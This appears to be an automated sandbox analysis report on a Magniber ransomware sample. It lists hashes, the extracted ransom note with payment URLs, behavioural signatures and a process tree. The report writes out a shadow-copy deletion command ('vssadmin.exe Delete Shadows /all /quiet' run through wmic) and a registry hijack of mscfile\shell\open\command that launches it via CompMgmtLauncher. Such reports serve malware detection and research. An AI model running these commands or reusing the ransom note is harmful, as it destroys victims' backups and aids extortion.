Resubmissions
23-08-2021 16:26
210823-tx5an7s74s 1018-08-2021 20:35
210818-2gkvb49v8e 1022-07-2021 19:24
210722-68c2armfnx 10Analysis
-
max time kernel
105s -
max time network
138s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
23-08-2021 16:26
Static task
static1
Behavioral task
behavioral1
Sample
magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe
Resource
win11
windows11_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
-
Target
magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe
-
Size
21KB
-
MD5
4160c35d3c600712b528e8072de1bc58
-
SHA1
12c822103678fed7b928f0202eb7e51714ab3b56
-
SHA256
f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675
-
SHA512
f722f7a5560641b0cbeb73dfb9d495cf2920858acfdcd5806f619256f2810569486be00eee4547b07298ca20c18d478f3f567809a7b2ff9cf81519e057a3a962
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://0e4c929886784a70dalqcsthxnw.ndkeblzjnpqgpo5o.onion/lqcsthxnw
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://0e4c929886784a70dalqcsthxnw.wonride.site/lqcsthxnw
http://0e4c929886784a70dalqcsthxnw.lognear.xyz/lqcsthxnw
http://0e4c929886784a70dalqcsthxnw.lieedge.casa/lqcsthxnw
http://0e4c929886784a70dalqcsthxnw.bejoin.space/lqcsthxnw
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://0e4c929886784a70dalqcsthxnw.ndkeblzjnpqgpo5o.onion/lqcsthxnw
http://0e4c929886784a70dalqcsthxnw.wonride.site/lqcsthxnw
http://0e4c929886784a70dalqcsthxnw.lognear.xyz/lqcsthxnw
http://0e4c929886784a70dalqcsthxnw.lieedge.casa/lqcsthxnw
http://0e4c929886784a70dalqcsthxnw.bejoin.space/lqcsthxnw
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 10 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1332 1760 cmd.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1056 1760 cmd.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1264 1760 cmd.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1700 1760 cmd.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1604 1760 cmd.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2676 1760 vssadmin.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2684 1760 vssadmin.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2712 1760 vssadmin.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2728 1760 vssadmin.exe 47 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2700 1760 vssadmin.exe 47 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 11 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\SendJoin.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\UseNew.tiff => C:\Users\Admin\Pictures\UseNew.tiff.lqcsthxnw taskhost.exe File opened for modification C:\Users\Admin\Pictures\ResolveSave.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\ResolveSave.tiff => C:\Users\Admin\Pictures\ResolveSave.tiff.lqcsthxnw taskhost.exe File renamed C:\Users\Admin\Pictures\CompleteDeny.tif => C:\Users\Admin\Pictures\CompleteDeny.tif.lqcsthxnw taskhost.exe File renamed C:\Users\Admin\Pictures\ExitTest.tif => C:\Users\Admin\Pictures\ExitTest.tif.lqcsthxnw taskhost.exe File renamed C:\Users\Admin\Pictures\GetWrite.png => C:\Users\Admin\Pictures\GetWrite.png.lqcsthxnw taskhost.exe File renamed C:\Users\Admin\Pictures\SendJoin.tiff => C:\Users\Admin\Pictures\SendJoin.tiff.lqcsthxnw taskhost.exe File opened for modification C:\Users\Admin\Pictures\UseNew.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\RevokeSave.raw => C:\Users\Admin\Pictures\RevokeSave.raw.lqcsthxnw taskhost.exe File renamed C:\Users\Admin\Pictures\SearchSet.raw => C:\Users\Admin\Pictures\SearchSet.raw.lqcsthxnw taskhost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2016 set thread context of 1124 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 5 PID 2016 set thread context of 1172 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 4 PID 2016 set thread context of 1252 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 3 -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2700 vssadmin.exe 2676 vssadmin.exe 2684 vssadmin.exe 2712 vssadmin.exe 2728 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4A349BB1-043F-11EC-A5E9-5E661A0063E2} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c4f538901e5de348867108356a342ab1000000000200000000001066000000010000200000006d4005c6952f4836d3c5a0e153db3e4e94b9bd3dea8bfa7981a13d6c2a303937000000000e8000000002000020000000cced466da74920794d72821458965801563f56b0b832c5ddda772b79f94b63a5200000006752ad7ddcf0af472ba4a50ec3ece1fa8cded69284edf15ab17e63b5f011cf3840000000f62fc5d62d6900aef29e4ee269bb89c48eb3a92cd5000d004986bcdeabe7bec9bc9e86efe2177caeee5357004fb2be35434046f1fdb6dec7fda16b75ef854332 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336508020" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0dfb6244c98d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c4f538901e5de348867108356a342ab100000000020000000000106600000001000020000000fea313a4413899f28ba7b2e03748a22cda66ddd01a8129babc24c6f717b80ae9000000000e800000000200002000000052e1b342faae4222531e30fed619322e26863171fbf2053f66225317ba8363d990000000a84db633136ce6497e3c73ea3d0e47719e05fbfb756252ad62c5f8f0ccb80075d0f82ca5cedc512890211194b02639972c1bec9082b640e3bb0f411d2ee452270b01b8a25e685ffb28c51d5623ee9aea434db60f4a6efbacb7e3e29df94db62bde2b080f1cea72967a2ec00f55a0087d80c31f7dd7d216786f9dff43cd71dfd7ed5b19c2b48ccf223e15327f70d498b1400000009982aa39ad07e65f5dd01741ab179acce4c635ca1f35b651fd864bccf5ec8db84b5d10125ea91b44467970233905e313820752a71418d1f6b64f0ab02661487f iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1780 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1252 Explorer.EXE Token: SeShutdownPrivilege 1252 Explorer.EXE Token: SeShutdownPrivilege 1252 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1116 WMIC.exe Token: SeSecurityPrivilege 1116 WMIC.exe Token: SeTakeOwnershipPrivilege 1116 WMIC.exe Token: SeLoadDriverPrivilege 1116 WMIC.exe Token: SeSystemProfilePrivilege 1116 WMIC.exe Token: SeSystemtimePrivilege 1116 WMIC.exe Token: SeProfSingleProcessPrivilege 1116 WMIC.exe Token: SeIncBasePriorityPrivilege 1116 WMIC.exe Token: SeCreatePagefilePrivilege 1116 WMIC.exe Token: SeBackupPrivilege 1116 WMIC.exe Token: SeRestorePrivilege 1116 WMIC.exe Token: SeShutdownPrivilege 1116 WMIC.exe Token: SeDebugPrivilege 1116 WMIC.exe Token: SeSystemEnvironmentPrivilege 1116 WMIC.exe Token: SeRemoteShutdownPrivilege 1116 WMIC.exe Token: SeUndockPrivilege 1116 WMIC.exe Token: SeManageVolumePrivilege 1116 WMIC.exe Token: 33 1116 WMIC.exe Token: 34 1116 WMIC.exe Token: 35 1116 WMIC.exe Token: SeIncreaseQuotaPrivilege 1476 WMIC.exe Token: SeSecurityPrivilege 1476 WMIC.exe Token: SeTakeOwnershipPrivilege 1476 WMIC.exe Token: SeLoadDriverPrivilege 1476 WMIC.exe Token: SeSystemProfilePrivilege 1476 WMIC.exe Token: SeSystemtimePrivilege 1476 WMIC.exe Token: SeProfSingleProcessPrivilege 1476 WMIC.exe Token: SeIncBasePriorityPrivilege 1476 WMIC.exe Token: SeCreatePagefilePrivilege 1476 WMIC.exe Token: SeBackupPrivilege 1476 WMIC.exe Token: SeRestorePrivilege 1476 WMIC.exe Token: SeShutdownPrivilege 1476 WMIC.exe Token: SeDebugPrivilege 1476 WMIC.exe Token: SeSystemEnvironmentPrivilege 1476 WMIC.exe Token: SeRemoteShutdownPrivilege 1476 WMIC.exe Token: SeUndockPrivilege 1476 WMIC.exe Token: SeManageVolumePrivilege 1476 WMIC.exe Token: 33 1476 WMIC.exe Token: 34 1476 WMIC.exe Token: 35 1476 WMIC.exe Token: SeIncreaseQuotaPrivilege 580 WMIC.exe Token: SeSecurityPrivilege 580 WMIC.exe Token: SeTakeOwnershipPrivilege 580 WMIC.exe Token: SeLoadDriverPrivilege 580 WMIC.exe Token: SeSystemProfilePrivilege 580 WMIC.exe Token: SeSystemtimePrivilege 580 WMIC.exe Token: SeProfSingleProcessPrivilege 580 WMIC.exe Token: SeIncBasePriorityPrivilege 580 WMIC.exe Token: SeCreatePagefilePrivilege 580 WMIC.exe Token: SeBackupPrivilege 580 WMIC.exe Token: SeRestorePrivilege 580 WMIC.exe Token: SeShutdownPrivilege 580 WMIC.exe Token: SeDebugPrivilege 580 WMIC.exe Token: SeSystemEnvironmentPrivilege 580 WMIC.exe Token: SeRemoteShutdownPrivilege 580 WMIC.exe Token: SeUndockPrivilege 580 WMIC.exe Token: SeManageVolumePrivilege 580 WMIC.exe Token: 33 580 WMIC.exe Token: 34 580 WMIC.exe Token: 35 580 WMIC.exe Token: SeShutdownPrivilege 1252 Explorer.EXE -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1252 Explorer.EXE 1628 iexplore.exe 1252 Explorer.EXE 1252 Explorer.EXE 1252 Explorer.EXE 1252 Explorer.EXE -
Suspicious use of SendNotifyMessage 8 IoCs
pid Process 1252 Explorer.EXE 1252 Explorer.EXE 1252 Explorer.EXE 1252 Explorer.EXE 1252 Explorer.EXE 1252 Explorer.EXE 1252 Explorer.EXE 1252 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1628 iexplore.exe 1628 iexplore.exe 1324 IEXPLORE.EXE 1324 IEXPLORE.EXE 1324 IEXPLORE.EXE 1324 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1124 wrote to memory of 1780 1124 taskhost.exe 26 PID 1124 wrote to memory of 1780 1124 taskhost.exe 26 PID 1124 wrote to memory of 1780 1124 taskhost.exe 26 PID 1124 wrote to memory of 1796 1124 taskhost.exe 27 PID 1124 wrote to memory of 1796 1124 taskhost.exe 27 PID 1124 wrote to memory of 1796 1124 taskhost.exe 27 PID 1124 wrote to memory of 1688 1124 taskhost.exe 29 PID 1124 wrote to memory of 1688 1124 taskhost.exe 29 PID 1124 wrote to memory of 1688 1124 taskhost.exe 29 PID 1172 wrote to memory of 1768 1172 Dwm.exe 31 PID 1172 wrote to memory of 1768 1172 Dwm.exe 31 PID 1172 wrote to memory of 1768 1172 Dwm.exe 31 PID 1768 wrote to memory of 1476 1768 cmd.exe 35 PID 1768 wrote to memory of 1476 1768 cmd.exe 35 PID 1768 wrote to memory of 1476 1768 cmd.exe 35 PID 1688 wrote to memory of 1116 1688 cmd.exe 34 PID 1688 wrote to memory of 1116 1688 cmd.exe 34 PID 1688 wrote to memory of 1116 1688 cmd.exe 34 PID 1796 wrote to memory of 1628 1796 cmd.exe 36 PID 1796 wrote to memory of 1628 1796 cmd.exe 36 PID 1796 wrote to memory of 1628 1796 cmd.exe 36 PID 2016 wrote to memory of 1952 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 37 PID 2016 wrote to memory of 1952 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 37 PID 2016 wrote to memory of 1952 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 37 PID 1952 wrote to memory of 580 1952 cmd.exe 39 PID 1952 wrote to memory of 580 1952 cmd.exe 39 PID 1952 wrote to memory of 580 1952 cmd.exe 39 PID 2016 wrote to memory of 1180 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 40 PID 2016 wrote to memory of 1180 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 40 PID 2016 wrote to memory of 1180 2016 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 40 PID 1180 wrote to memory of 896 1180 cmd.exe 42 PID 1180 wrote to memory of 896 1180 cmd.exe 42 PID 1180 wrote to memory of 896 1180 cmd.exe 42 PID 1252 wrote to memory of 1512 1252 Explorer.EXE 43 PID 1252 wrote to memory of 1512 1252 Explorer.EXE 43 PID 1252 wrote to memory of 1512 1252 Explorer.EXE 43 PID 1512 wrote to memory of 944 1512 cmd.exe 45 PID 1512 wrote to memory of 944 1512 cmd.exe 45 PID 1512 wrote to memory of 944 1512 cmd.exe 45 PID 1628 wrote to memory of 1324 1628 iexplore.exe 49 PID 1628 wrote to memory of 1324 1628 iexplore.exe 49 PID 1628 wrote to memory of 1324 1628 iexplore.exe 49 PID 1628 wrote to memory of 1324 1628 iexplore.exe 49 PID 1332 wrote to memory of 2160 1332 cmd.exe 60 PID 1332 wrote to memory of 2160 1332 cmd.exe 60 PID 1332 wrote to memory of 2160 1332 cmd.exe 60 PID 1056 wrote to memory of 2176 1056 cmd.exe 61 PID 1056 wrote to memory of 2176 1056 cmd.exe 61 PID 1056 wrote to memory of 2176 1056 cmd.exe 61 PID 1700 wrote to memory of 2192 1700 cmd.exe 63 PID 1700 wrote to memory of 2192 1700 cmd.exe 63 PID 1700 wrote to memory of 2192 1700 cmd.exe 63 PID 1264 wrote to memory of 2200 1264 cmd.exe 62 PID 1264 wrote to memory of 2200 1264 cmd.exe 62 PID 1264 wrote to memory of 2200 1264 cmd.exe 62 PID 1604 wrote to memory of 2228 1604 cmd.exe 64 PID 1604 wrote to memory of 2228 1604 cmd.exe 64 PID 1604 wrote to memory of 2228 1604 cmd.exe 64 PID 2200 wrote to memory of 2384 2200 CompMgmtLauncher.exe 66 PID 2200 wrote to memory of 2384 2200 CompMgmtLauncher.exe 66 PID 2200 wrote to memory of 2384 2200 CompMgmtLauncher.exe 66 PID 2160 wrote to memory of 2392 2160 CompMgmtLauncher.exe 65 PID 2160 wrote to memory of 2392 2160 CompMgmtLauncher.exe 65 PID 2160 wrote to memory of 2392 2160 CompMgmtLauncher.exe 65
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Users\Admin\AppData\Local\Temp\magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe"C:\Users\Admin\AppData\Local\Temp\magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:580
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:896
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:944
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1476
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1780
-
-
C:\Windows\system32\cmd.execmd /c "start http://0e4c929886784a70dalqcsthxnw.wonride.site/lqcsthxnw^&1^&47038039^&81^&363^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://0e4c929886784a70dalqcsthxnw.wonride.site/lqcsthxnw&1&47038039&81&363&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1628 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1324
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1116
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2392
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2176
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2420
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2200 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2384
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2192
-
